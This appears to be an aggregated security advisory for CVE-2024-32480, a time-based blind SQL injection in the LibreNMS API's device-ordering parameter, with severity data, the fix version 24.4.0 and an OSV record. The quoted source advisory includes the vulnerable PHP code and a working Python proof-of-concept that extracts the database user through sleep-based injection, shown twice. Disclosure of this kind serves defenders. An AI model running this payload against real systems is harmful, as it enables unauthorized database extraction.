CVE-2024-32480: Librenms/librenms SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-jh57-j3vq-h438
CVSS 7.2
CWE-89
Published
Advisory Summary

CVE-2024-32480 is a HIGH (CVSS 7.2) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Librenms/librenms libraries in the Packagist ecosystem. The issue involves librenms vulnerable to a time-based blind sql injection leads to database extraction. Remediation is available by upgrading affected packages to version 24.4.0.

CVE-2024-32480 at a Glance

CVE Identifier CVE-2024-32480
GHSA Identifier GHSA-jh57-j3vq-h438
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Librenms/librenms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-32480

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 24.4.0
Upgrade librenms/librenms to 24.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-32480, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.4.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0 ### Details in file `api_functions.php`, line 307 for function list_devices ```php $order = $request->get('order'); $type = $request->get('type'); $query = $request->get('query'); $param = []; if (empty($order)) { $order = 'hostname'; } if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) { $order = 'd.`' . $order . '` ASC'; } /* ... */ $devices = []; $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order"; foreach (dbFetchRows($dev_query, $param) as $device) { ``` The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability. ### PoC For example. this PoC is get current db user ```python import string import requests headers = { 'X-Auth-Token': 'token_string' } req = requests.Session() payloads = '_-@.,' + string.digits + string.ascii_letters url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id' result = 'user: ' for i in range(10): for payload in payloads: try: req.get(url % (i+1, ord(payload)), headers=headers, timeout=3) except requests.exceptions.ReadTimeout as ex: result += payload print(result), except Exception as e: pass ``` ![QQ截图20240306181404](https://github.com/librenms/librenms/assets/11938870/017cc413-ce1e-45a2-b0f1-a0ae83bbbeee) ### Impact Attacker can extract whole database

CVE-2024-32480 Affected Librenms/librenms Versions

1 component(s)
Fixed Versions:
24.4.0
Product / Package Ecosystem Affected Versions Fixed Version
librenms/librenms
Packagist
< 24.4.0
24.4.0

References

Frequently Asked Questions

What is CVE-2024-32480?
CVE-2024-32480 is a security vulnerability in Librenms/librenms involving LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Librenms/librenms versions are affected?
Affected versions include releases prior to 24.4.0 across affected packages: librenms/librenms.
What version fixes CVE-2024-32480?
Upgrading to 24.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is librenms/librenms affected?
Yes, librenms/librenms is affected in releases prior to 24.4.0. Upgrade your dependency to 24.4.0 or later.
What is the CVSS score of CVE-2024-32480?
CVE-2024-32480 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-32480?
CVE-2024-32480 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2024-32480?
Run the dependency tree command: 'inspect dependencies for librenms/librenms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jh57-j3vq-h438",
  "modified" : "2024-04-23T14:15:47Z",
  "published" : "2024-04-22T18:37:35Z",
  "aliases" : [ "CVE-2024-32480" ],
  "summary" : "LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction",
  "details" : "### Summary\nGet a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0\n\n### Details\nin file `api_functions.php`, line 307 for function list_devices\n\n```php\n$order = $request->get('order');\n    $type = $request->get('type');\n    $query = $request->get('query');\n    $param = [];\n\n    if (empty($order)) {\n        $order = 'hostname';\n    }\n\n    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {\n        $order = 'd.`' . $order . '` ASC';\n    }\n    /* ... */\n    $devices = [];\n    $dev_query = \"SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order\";\n    foreach (dbFetchRows($dev_query, $param) as $device) {\n```\nThe \"order\" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.\n\n### PoC\nFor example. this PoC is get current db user\n```python\nimport string\nimport requests\n\nheaders = {\n\t'X-Auth-Token': 'token_string'\n}\nreq = requests.Session()\npayloads = '_-@.,' + string.digits + string.ascii_letters\nurl = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'\nresult = 'user: '\nfor i in range(10):\n\tfor payload in payloads:\n\t\ttry:\n\t\t\treq.get(url % (i+1, ord(payload)), headers=headers, timeout=3)\n\t\texcept requests.exceptions.ReadTimeout as ex:\n\t\t\tresult += payload\n\t\t\tprint(result),\n\t\texcept Exception as e:\n\t\t\tpass\n```\n![QQ截图20240306181404](https://github.com/librenms/librenms/assets/11938870/017cc413-ce1e-45a2-b0f1-a0ae83bbbeee)\n\n### Impact\nAttacker can extract whole database",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "24.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-jh57-j3vq-h438"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-32480"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/83fe4b10c440d69a47fe2f8616e290ba2bd3a27c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-04-22T18:37:35Z",
    "nvd_published_at" : "2024-04-22T23:15:50Z"
  }
}